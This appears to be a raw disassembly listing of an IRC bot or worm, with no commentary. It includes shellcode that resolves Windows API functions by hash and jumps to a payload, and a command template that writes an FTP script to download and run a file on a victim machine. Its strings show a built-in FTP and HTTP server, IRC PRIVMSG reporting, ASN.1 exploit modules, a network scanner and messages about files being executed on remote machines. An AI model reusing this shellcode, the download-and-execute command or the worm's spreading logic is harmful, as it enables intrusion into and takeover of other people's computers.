push 0CA2BD06Bh
call sub_4228EA
mov [esi+0Ch], eax
call sub_42284F
push dword ptr [esi+4]
push 4C0297FAh
call sub_4228EA
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_4227D8 endp
; =============== S U B R O U T I N E =======================================
sub_42284F proc near ; CODE XREF: sub_4227D8+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_422878
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_42284F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_422878 proc near ; CODE XREF: sub_42284F+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_422887: ; CODE XREF: sub_422878+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_422894
inc ebx
jmp short loc_422887
; ---------------------------------------------------------------------------
loc_422894: ; CODE XREF: sub_422878+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_422878 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42289D proc near ; CODE XREF: sub_4227D8+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_4228B5: ; CODE XREF: sub_42289D+1Ej
cmp [ecx], ebx
jz short loc_4228BD
mov ecx, [ecx]
jmp short loc_4228B5
; ---------------------------------------------------------------------------
loc_4228BD: ; CODE XREF: sub_42289D+1Aj
mov edx, edi
loc_4228BF: ; CODE XREF: sub_42289D+2Aj
cmp [edx+4], ebx
jz short loc_4228C9
mov edx, [edx+4]
jmp short loc_4228BF
; ---------------------------------------------------------------------------
loc_4228C9: ; CODE XREF: sub_42289D+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_42289D endp
; =============== S U B R O U T I N E =======================================
sub_4228D4 proc near ; CODE XREF: sub_4227D8+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_4228D4 endp
; =============== S U B R O U T I N E =======================================
sub_4228EA proc near ; CODE XREF: sub_4227D8+16p
; sub_4227D8+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_422900: ; CODE XREF: sub_4228EA+33j
jecxz short loc_42293A
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_42290D: ; CODE XREF: sub_4228EA+2Dj
lodsb
cmp al, ah
jz short loc_422919
ror edi, 0Dh
add edi, eax
jmp short loc_42290D
; ---------------------------------------------------------------------------
loc_422919: ; CODE XREF: sub_4228EA+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_422900
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_42293A: ; CODE XREF: sub_4228EA:loc_422900j
; sub_4228EA:loc_42293Aj
jmp short loc_42293A
sub_4228EA endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_422940 proc near ; DATA XREF: sub_4032B0+30o
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_422992
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_42295D: ; CODE XREF: sub_422940+38j
jecxz short loc_42298D
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_422968: ; CODE XREF: sub_422940+32j
lodsb
test al, al
jz short loc_422974
ror edx, 0Dh
add edx, eax
jmp short loc_422968
; ---------------------------------------------------------------------------
loc_422974: ; CODE XREF: sub_422940+2Bj
cmp edx, [esp+arg_0]
jnz short loc_42295D
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_42298D: ; CODE XREF: sub_422940:loc_42295Dj
mov [esp+arg_0], ebx
retn
sub_422940 endp
; =============== S U B R O U T I N E =======================================
sub_422992 proc near ; CODE XREF: sub_422940+7p
; FUNCTION CHUNK AT 004229CA SIZE 00000007 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_4229AB
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_4229B6
; ---------------------------------------------------------------------------
loc_4229AB: ; CODE XREF: sub_422992+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_4229B6: ; CODE XREF: sub_422992+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_4229CA
sub_422992 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4229BD proc near ; CODE XREF: sub_422992:loc_4229CAp
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_4229BD endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422992
loc_4229CA: ; CODE XREF: sub_422992+29j
call sub_4229BD
loc_4229CF: ; DATA XREF: sub_402A56+1Bo
; seg000:0040BB74o
add [ebx], ah
; END OF FUNCTION CHUNK FOR sub_422992
; ---------------------------------------------------------------------------
db 3 dup(0)
dword_4229D4 dd 60h dword_4229D8 dd 62B0606h, 2050501h, 0A0hdword_4229E4 dd 30h dword_4229E8 dd 0A1h dword_4229EC dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_402AB1+153o
align 4
loc_4229F8: ; DATA XREF: sub_402AB1+E8o
jmp short near ptr dword_422A00
; ---------------------------------------------------------------------------
align 10h
dword_422A00 dd 0 dword_422A04 dd 2F2F7325h, 2E732520h, 0aCmdKEchoOpenSD db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: sub_4032B0+55o
db 'echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: seg000:00403E7Eo
aQuit db 'QUIT',0 ; DATA XREF: seg000:00403E6Ao
; seg000:0040B88Fo
align 4
a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0
; DATA XREF: seg000:00403E5Do
align 4
dword_422AC8 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: seg000:00403E12o
dd 2029206Ch, 2BBBB02h
aFileSentToSOnP db ' File sent to %s on port %d, now executing %s on remote machine.'
db 0
align 4
a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: seg000:00403DF3o
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
; DATA XREF: seg000:00403DC7o
align 4
aRetr db 'RETR',0 ; DATA XREF: seg000:00403DAFo
align 4
a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: seg000:00403D9Ao
align 4
aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: seg000:00403D89o
aXX db '%x%x',0Ah,0 ; DATA XREF: seg000:00403D56o
align 4
aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: seg000:00403D15o
db ']',0
aPort db 'PORT',0 ; DATA XREF: seg000:00403CDCo
align 4
a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: seg000:00403CAEo
align 10h
aList db 'LIST',0 ; DATA XREF: seg000:00403C9Bo
align 4
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
; DATA XREF: seg000:00403C60o
align 4
aPasv db 'PASV',0 ; DATA XREF: seg000:00403C4Do
align 4
a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: seg000:00403C3Do
aI: ; DATA XREF: seg000:00403C29o
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: seg000:00403C02o
aA: ; DATA XREF: seg000:00403BEEo
unicode 0, <A>,0
aType db 'TYPE',0 ; DATA XREF: seg000:00403BD7o
; seg000:00403C12o
align 4
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: seg000:00403BC7o
align 4
off_422C84 dd offset dword_445750 ; DATA XREF: seg000:00403BB3o
a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: seg000:00403BA3o
align 4
aRest db 'REST',0 ; DATA XREF: seg000:00403B8Fo
align 4
a215Fuckftpd db '215 fuckFtpd',0Ah,0 ; DATA XREF: seg000:00403B7Fo
align 4
aSyst db 'SYST',0 ; DATA XREF: seg000:00403B6Bo
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: seg000:00403B5Bo
align 4
aPass db 'PASS',0 ; DATA XREF: seg000:00403B47o
align 4
a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: seg000:00403B37o
align 4
aUser_0 db 'USER',0 ; DATA XREF: seg000:00403B22o
align 4
aSS_1 db '%s %s',0 ; DATA XREF: seg000:00403B11o
align 4
a220Fuckftpd0wn db '220 fuckFtpd 0wns j0',0Ah,0 ; DATA XREF: seg000:00403A89o
align 4
aRb db 'rb',0 ; DATA XREF: sub_403F31+24o
; seg000:00405214o ...
align 10h
unk_422D20 db 2 ; DATA XREF: sub_403FCB+3F8o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aErrorServerFai db 'Error: server failed, returned: <%d>.',0
align 4
asc_422D68 db 0Dh,0Ah,0 ; DATA XREF: sub_403FCB+2CFo
align 4
asc_422D6C: ; DATA XREF: sub_403FCB+293o
; seg000:0040B403o ...
unicode 0, < >,0
aGet db 'GET ',0 ; DATA XREF: sub_403FCB+269o
align 4
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_403FCB+551o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_403FCB+52Eo
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_403FCB+4F2o
; sub_408F79+1AEo
align 10h
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_403FCB+4DEo
align 4
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_403FCB:loc_40448Bo
align 10h
aTextHtml db 'text/html',0 ; DATA XREF: sub_403FCB+4B9o
align 4
unk_422F8C db 2 ; DATA XREF: seg000:00404837o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
unk_422FD8 db 2 ; DATA XREF: seg000:004047B3o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aWorkerThreadOf db 'Worker thread of server thread: %d.',0
asc_42301C: ; DATA XREF: seg000:004046FFo
unicode 0, <*>,0
asc_423020: ; DATA XREF: seg000:004046A3o
; sub_404858+29o ...
dw 0Ah
unicode 0, <>,0
aSS_2 db '%s%s',0 ; DATA XREF: seg000:00404692o
; sub_404858+4CAo ...
align 4
aS_1 db '%s',0 ; DATA XREF: seg000:004045E2o
; sub_408AC9+4Co ...
align 10h
aS_2 db '\%s',0 ; DATA XREF: seg000:004045D7o
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_404858+64Eo
align 4
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_404858+633o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 4
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_404858+618o
align 4
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_404858+589o
align 10h
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_404858+561o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_404858:loc_404D70o
align 10h
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_404858+511o
align 10h
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_404858+471o
align 4
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_404858+434o
align 4
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_404858+401o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_404858:loc_404C1Ao
align 4
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_404858+3BBo
align 4
aSS_0 db '%s%s/',0 ; DATA XREF: sub_404858+374o
align 10h
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_404858+330o
; sub_404858+486o
db '<TD WIDTH="%d"><A HREF="',0
align 10h
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_404858+30Eo
align 4
aS_0 db '<%s>',0 ; DATA XREF: sub_404858+2E4o
; sub_404858+413o
align 4
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_404858+2BAo
aAm db 'AM',0 ; DATA XREF: sub_404858+290o
align 4
aPm db 'PM',0 ; DATA XREF: sub_404858+285o
align 4
a__0: ; DATA XREF: sub_404858+24Do
unicode 0, <.>,0
a__ db '..',0 ; DATA XREF: sub_404858+232o
align 4
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_404858+1C0o
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_404858+147o
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_404858+12Bo
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_404858+F7o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_404858+ADo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 10h
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_404858+78o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 10h
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_404858+4Bo
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_404FC5+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
dword_4234D8 dd 4000500h, 7868746Bh, 0dword_4234E4 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: seg000:00405565o
dd 2029206Ch, 2BBBB02h
aFileSentToSExe db ' File sent to %s, executing %s on remote machine.',0
align 4
unk_423534 db 2 ; DATA XREF: seg000:0040549Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFileNotFoundOn db ' File not found on %s, (%s).',0
align 10h
dword_423570 dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh
; DATA XREF: seg000:0040547Fo
unk_423584 db 2 ; DATA XREF: seg000:00405424o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aFileSentToSE_0 db 'File sent to %s, executing %s on remote machine.',0
align 4
unk_4235D8 db 2 ; DATA XREF: seg000:00405240o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aFailedToOpenFi db 'Failed to open file: %s (possible virus scan!)',0
align 4
unk_423628 db 2 ; DATA XREF: seg000:00405150o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aErrorSocketF_2 db 'Error: socket() failed, returned: <%d>.',0
aOctet db 'octet',0 ; DATA XREF: seg000:004050F5o
align 4
aAsn1http_0 db 'asn1http',0 ; DATA XREF: sub_405C33+164o
align 2
aAsn1http db 'asn1http',0 ; DATA XREF: sub_4032B0+1C8o
align 4
dd 5 dup(0)
dword_4236A0 dd 50h ; seg000:0040E2E2r ...
off_4236A4 dd offset sub_4032B0 ; DATA XREF: sub_405C33+1E6r
dword_4236A8 dd 0 ; sub_4032B0+202r ...
dword_4236AC dd 1 dword_4236B0 dd 1 aAsn1smb db 'asn1smb',0
dd 73610000h, 6D73316Eh, 62h, 5 dup(0)
dd 1BDh, 4032B0h, 0
dd 2 dup(1), 316E7361h, 3933h, 73610000h, 6D73316Eh, 746E62h
dd 5 dup(0)
dd 8Bh, 4032B0h, 0
dd 2 dup(1), 0
aAsn139 db 'asn139',0
align 4
db 2 dup(0)
byte_42373A db 1 ; DATA XREF: seg000:loc_40FE5Er
; seg000:0040FE68o
aAsn1http_1 db 'asn1http',0
dd 100h, 3 dup(0)
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_4055DD+81o
align 4
aSD db ' %s: %d,',0 ; DATA XREF: sub_4055DD+42o
align 4
unk_423774 db 2 ; DATA XREF: sub_4055DD+11o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aExploitStatist db ' Exploit Statistics:',0
align 4
unk_4237AC db 2 ; DATA XREF: sub_4056A7+42o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aScanNotActive_ db ' Scan not active.',0
unk_4237E0 db 2 ; DATA XREF: sub_4056A7+2Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCurrentIpS_ db ' Current IP: %s.',0
align 4
unk_423814 db 2 ; DATA XREF: sub_40571E+36Fo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aFailedToStartS db 'Failed to start server, error: <%d>.',0
align 4
dword_42385C dd 28026502h, 62302E31h, 20282029h, 70747468h, 1F6D2E64h
; DATA XREF: sub_40571E+307o
; seg000:00410398o
dd 206C1F64h, 0BB022029h, 202002BBh, 76726553h, 6C207265h
dd 65747369h, 676E696Eh, 206E6F20h, 203A5049h, 253A7325h
dd 44202C64h, 63657269h, 79726F74h, 7325203Ah, 2E5Ch, 28026502h
dd 62302E31h, 20282029h, 2E707466h, 1F641F6Dh, 2029206Ch
dd 2BBBB02h, 61462020h, 64656C69h, 206F7420h, 72617473h
dd 65732074h, 72657672h, 7265202Ch, 3A726F72h, 64253C20h
dd 2E3Eh, 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
dd 2029206Ch, 2BBBB02h, 65532020h, 72657672h, 61747320h
dd 64657472h, 206E6F20h, 74726F50h, 6425203Ah, 6946202Ch
dd 203A656Ch, 202C7325h, 75716552h, 3A747365h, 2E732520h
dd 0
db 2
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aFailedToStar_0 db 'Failed to start server, error: <%d>.',0
align 4
unk_42398C db 2 ; DATA XREF: seg000:00410222o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aServerStartedO db 'Server started on Port: %d, File: %s, Request: %s.',0
align 10h
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_405AFA+38o
; sub_408619+46o
unk_4239EC db 2 ; DATA XREF: sub_405C33+EBo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aIpSPortDIsOpen db ' IP: %s, Port %d is open.',0
unk_423A28 db 2 ; DATA XREF: sub_405C33+93o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aIpSDScanThread db ' IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
align 4
unk_423A78 db 2 ; DATA XREF: sub_405E47+1CEo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFinishedAtSDAf db ' Finished at %s:%d after %d minute(s) of scanning.',0
align 10h
unk_423AD0 db 2 ; DATA XREF: sub_405E47+173o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStar_1 db ' Failed to start worker thread, error: <%d>.',0
align 10h
unk_423B20 db 2 ; DATA XREF: sub_405E47+103o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSDScanThreadDS db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0
align 4
unk_423B6C db 2 ; DATA XREF: sub_405E47+87o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToInitia db ' Failed to initialize critical section.',0
align 4
unk_423BB8 db 2 ; DATA XREF: sub_4060A6+156o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartC db ' Failed to start client thread, error: <%d>.',0
align 4
unk_423C08 db 2 ; DATA XREF: sub_4060A6+E1o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
